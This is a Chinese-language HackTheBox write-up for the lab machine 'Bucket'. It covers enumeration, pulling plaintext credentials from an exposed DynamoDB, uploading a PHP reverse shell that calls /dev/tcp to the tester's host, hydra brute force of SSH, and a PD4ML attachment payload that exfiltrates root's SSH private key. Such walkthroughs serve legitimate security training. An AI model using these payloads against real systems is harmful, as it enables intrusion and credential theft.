Machine - Bucket

https://app.hackthebox.com/machines/Bucket | Linux | Medium

Recon

端口扫描

➜  Bucket nmap -sT -min-rate 5000 10.10.10.212
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 09:27 CST
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.086s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds

➜  Bucket nmap -sT -A -p 22,80 10.10.10.212                             
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 09:28 CST
Nmap scan report for bucket.htb (10.10.10.212)
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   108.02 ms 10.10.16.1
2   54.68 ms  bucket.htb (10.10.10.212)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds

访问 HTTP

主页上没有一点信息，对目录进行爆破

➜  Bucket feroxbuster --url http://bucket.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,403 -x php,zip,txt 
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://bucket.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [404, 403]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, zip, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[#>------------------] - 88s    46359/882180  23m     found:0       errors:37     
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_bucket_htb_-1749173567.state ...
[#>------------------] - 88s    46399/882180  23m     found:0       errors:37     
[#>------------------] - 88s    46400/882180  527/s   http://bucket.htb/

但是我注意到源代码中的图片是通过子域名http://s3.bucket.htb 中获取的

将其添加到 hosts，并访问，只显示 running

网上搜索 s3 大部分都是 AWS S3 ，所以假定这是一个 AWS S3 实例

➜Bucket gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,zip -u http://s3.bucket.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://s3.bucket.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/health               (Status: 200) [Size: 54]
/shell                (Status: 200) [Size: 0]
/server-status        (Status: 403)

AWS S3

关于AWS S3 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/Welcome.html

根据手册，adserver是一个存储桶，images/bug.jpg 是对象键，http://s3.bucket.htb 是端点

访问 /shell 会被重定向到一个奇怪的URL，看起来只像是只有内网可以访问

访问 /health 发现除了 s3 还运行着 dynamodb

关于 Dynamodb https://docs.amazonaws.cn/amazondynamodb/latest/developerguide/Introduction.html

从文档上看，Dynamodb 和 S3 都可以使用 Amazon CLI 来访问，并且两个应用都是可以集成的

Dynamodb

访问Dynamodb前，要先配置 aws-cli

PS：官方配置需要 Access ID，并且注册需要信用卡，以为差点无了，看了下WP才知道可以瞎填

➜  Bucket aws configure           
AWS Access Key ID [None]: sunsetaction
AWS Secret Access Key [None]: sunsetaction
Default region name [None]: CN
Default output format [None]: json

列出所有表

➜  Bucket aws dynamodb list-tables --endpoint-url http://s3.bucket.htb
{
    "TableNames": [
        "users"
    ]
}

查询表的数据，可以得到几个用户凭据

➜  Bucket aws dynamodb scan --endpoint-url http://s3.bucket.htb --table-name users
{
    "Items": [
        {
            "password": {
                "S": "Management@#1@#"
            },
            "username": {
                "S": "Mgmt"
            }
        },
        {
            "password": {
                "S": "Welcome123!"
            },
            "username": {
                "S": "Cloudadm"
            }
        },
        {
            "password": {
                "S": "n2vM-<_K_Q:.Aa2"
            },
            "username": {
                "S": "Sysadm"
            }
        }
    ],
    "Count": 3,
    "ScannedCount": 3,
    "ConsumedCapacity": null
}

将其拿去对ssh进行碰撞，但是无结果，貌似也能对数据进行写入，但是现在也没用

文件上传

我们通过文档 https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/list-buckets.html 可以知道存在 aws s3 ls 命令，该命令作用是将在单个非分页调用中列出您账户中的所有通用存储桶。

➜  Bucket aws --endpoint-url http://s3.bucket.htb s3 ls
2025-06-06 15:06:03 adserver

命令结果是我们和images 在同一目录下

我们查看帮助还能看到 cp 命令，那么代表可能可以对文件进行上传

我们上传一个文件测试一下

➜  Bucket echo '<?php phpinfo();?>' > test.php                                                                                                                         

➜  Bucket aws --endpoint-url http://s3.bucket.htb s3 cp test.php s3://adserver/test.php
upload: ./test.php to s3://adserver/test.php

可以上传，但是貌似无法解析

这里看了下WP，之前进行目录扫描s3的时候能扫描到/server-status ，那么该处和bucket.htb可能在同一目录下，而且可以支持解析 php 拓展名

在 adserver 目录下没有

这里通过 ls 命令来查看 adserver文件夹内的文件，可以看到存在index.html ，那么可能就是主站

➜  Bucket aws --endpoint-url http://s3.bucket.htb s3 ls s3://adserver                    
                           PRE images/
2025-06-06 15:48:02       5344 index.html

进行反弹 shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.69/1234 0>&1'");?>

和之前一样的操作可以直接获得弹回来的 shell

权限提升

密码碰撞

发现存在用户roy

www-data@bucket:/var/www$ ls /home
roy

我们使用的到的密码进行碰撞

➜  Bucket hydra -l roy  -P passwords.txt -t 12 10.10.10.212 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-06-06 16:13:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://10.10.10.212:22/
[22][ssh] host: 10.10.10.212   login: roy   password: n2vM-<_K_Q:.Aa2
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-06-06 16:13:06

成功得到 Roy的shell

➜  Bucket ssh roy@10.10.10.212   
roy@10.10.10.212's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 06 Jun 2025 07:52:46 AM UTC

  System load:                      0.05
  Usage of /:                       33.9% of 17.59GB
  Memory usage:                     30%
  Swap usage:                       0%
  Processes:                        256
  Users logged in:                  2
  IPv4 address for br-bee97070fb20: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.212
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:cb55

229 updates can be installed immediately.
103 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Jun  6 06:08:21 2025 from 10.10.16.27
roy@bucket:~$

当前目录下能得到 user.txt

roy@bucket:~$ cat user.txt
6e375b41aac41437da7b58d400a30c74

信息收集

db.php

roy@bucket:~/project$ cat db.php
<?php
require 'vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();

//todo

内部开放了好几个端口

roy@bucket:~$ ss -tulpn
Netid                  State                   Recv-Q                  Send-Q                                   Local Address:Port                                      Peer Address:Port                  Process
udp                    UNCONN                  0                       0                                        127.0.0.53%lo:53                                             0.0.0.0:*
tcp                    LISTEN                  0                       4096                                         127.0.0.1:42189                                          0.0.0.0:*
tcp                    LISTEN                  0                       4096                                     127.0.0.53%lo:53                                             0.0.0.0:*
tcp                    LISTEN                  0                       4096                                         127.0.0.1:4566                                           0.0.0.0:*
tcp                    LISTEN                  0                       128                                            0.0.0.0:22                                             0.0.0.0:*
tcp                    LISTEN                  0                       511                                          127.0.0.1:8000                                           0.0.0.0:*
tcp                    LISTEN                  0                       511                                                  *:80                                                   *:*
tcp                    LISTEN                  0                       128                                               [::]:22                                                [::]:*

我们将 4566和 8000端口转发出去

roy@bucket:~$ ./socat TCP-LISTEN:4567,fork tcp4:127.0.0.1:4566 &
[1] 145731
roy@bucket:~$ ./socat TCP-LISTEN:8001,fork tcp4:127.0.0.1:8000 &
[2] 145736

其中 8000端口是貌似未完工的

4566像是s3的端点

尝试通过aws访问

➜  Bucket aws --endpoint-url http://bucket.htb:4567 s3 ls
2025-06-06 16:04:01 adserver

可能是一个内部端点，尝试读取数据库

➜  Bucket aws dynamodb list-tables --endpoint-url http://bucket.htb:4567
{
    "TableNames": [
        "Music",
        "users"
    ]
}

users和我们在外部端点访问的一样，Music是空的（可能其他人使用官方文档中的语句创建的），感觉就是之前的外部端点

To root

回到8000端口，我们发现这是一个不小的项目，线路也可能在这里

roy@bucket:/var/www/bucket-app$ ls
composer.json  composer.lock  files  index.php  pd4ml_demo.jar  vendor

roy@bucket:/var/www$ getfacl bucket-app/
# file: bucket-app/
# owner: root
# group: root
user::rwx
user:roy:r-x
group::r-x
mask::r-x
other::---

index.php

roy@bucket:/var/www/bucket-app$ cat index.php
<?php
require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
if($_SERVER["REQUEST_METHOD"]==="POST") {
        if($_POST["action"]==="get_alerts") {
                date_default_timezone_set('America/New_York');
                $client = new DynamoDbClient([
                        'profile' => 'default',
                        'region'  => 'us-east-1',
                        'version' => 'latest',
                        'endpoint' => 'http://localhost:4566'
                ]);

                $iterator = $client->getIterator('Scan', array(
                        'TableName' => 'alerts',
                        'FilterExpression' => "title = :title",
                        'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),
                ));

                foreach ($iterator as $item) {
                        $name=rand(1,10000).'.html';
                        file_put_contents('files/'.$name,$item["data"]);
                }
                passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");
        }
}
else
{
?>

逻辑大概是通过POST方法访问，并且参数action等于get_alerts 时，对数据进行连接，然后循环alerts表并筛选表达式中 :title 占位符的值，这里为 "Ransomware"。再下面的循环上边筛选后的值，生成一个1到10000之间的随机数，并附加 .html 后缀，作为 HTML 文件名，并将筛选后的值的data写入HTML 文件。暗示了你的 DynamoDB alerts 表中的项目的 data 属性存储的是 HTML 内容。

最后一行，调用了pd4ml_demo.jar ，提供用于 HTML 到 PDF 转换的基本 Java API，包括 PD4ML JSP 标签库。

那么最后一句就是将生成HTML文件钻换成PDF文件，并存放在files/result.pdf

我们观察files文件夹没有任何文件产生，应该是表alerts不存在，我们首先创建alerts表

aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions \
        AttributeName=title,AttributeType=S \
        AttributeName=data,AttributeType=S \
    --key-schema \
        AttributeName=title,KeyType=HASH \
        AttributeName=data,KeyType=RANGE \
    --provisioned-throughput \
        ReadCapacityUnits=5,WriteCapacityUnits=5 \
    --endpoint-url http://bucket.htb:4567

aws dynamodb tables-list --endpoint-url http://bucket.htb:4567
{
    "TableNames": [
        "Music",
        "alerts",
        "users"
    ]
}

但是我们能发现一会后，alerts表就会被删除，所以我们要通过脚本来执行操作

尝试包含文件，这里我们查看pd4ml的文档，其中有一项是添加附件：https://pd4ml.com/support-topics/usage-examples/#add-attachment

<html><pd4ml:attachment style=\"align: right\" type=\"paperclip\" src=\"/root/root.txt\"/></html>

编写脚本

echo 'create table alerts\n'
aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions \
        AttributeName=title,AttributeType=S \
        AttributeName=data,AttributeType=S \
    --key-schema \
        AttributeName=title,KeyType=HASH \
        AttributeName=data,KeyType=RANGE \
    --provisioned-throughput \
        ReadCapacityUnits=5,WriteCapacityUnits=5 \
    --endpoint-url http://bucket.htb:4567

sleep 2;
echo 'create talbe success?\n'
aws dynamodb list-tables --endpoint-url http://bucket.htb:4567
sleep 2;
echo 'Insert data:\n'
aws dynamodb put-item \
    --table-name alerts  \
    --item \
        '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' \
    --endpoint-url http://bucket.htb:4567
echo 'POST endpoint && copy the file'
curl http://bucket.htb:8001 -X POST -d 'action=get_alerts'

查看 result.pdf ，能拿到私钥

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAx6VphKMyxurjldmb6dy1OSn0D9dumFAUCeSoICwhhsq+fadx21SU
......
pHoTvd81++IRB1+g6GGy0gq/j0Tp+g3e0KLtvr7ZfAtutO8bcDrLjHu6Wqyl1KoleFsv6/
lt0oT70NTv2gFGWAb6WHLEByEsnYQwk5ynbIblaApQSZEyVEPkf9LmO7AEb08lvAOS0dQ1
xMyLerif0cNjmemwAAAAtyb290QHVidW50dQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

通过私钥登录后，读取 root.txt

root@bucket:~# cat root.txt 
880bb2407bd062f1f9896875e8d049bf

总结

又一次感到自己是真的无耐心…一烦躁起来就无法思考。。这次碰到新东西，卡了还是蛮久的，不过利用都没什么挡住的地方，除了最后的读取文件。

学习到了 AWS S3，以及一些Dynamodb 的知识

HackTheBox - Machine - Bucket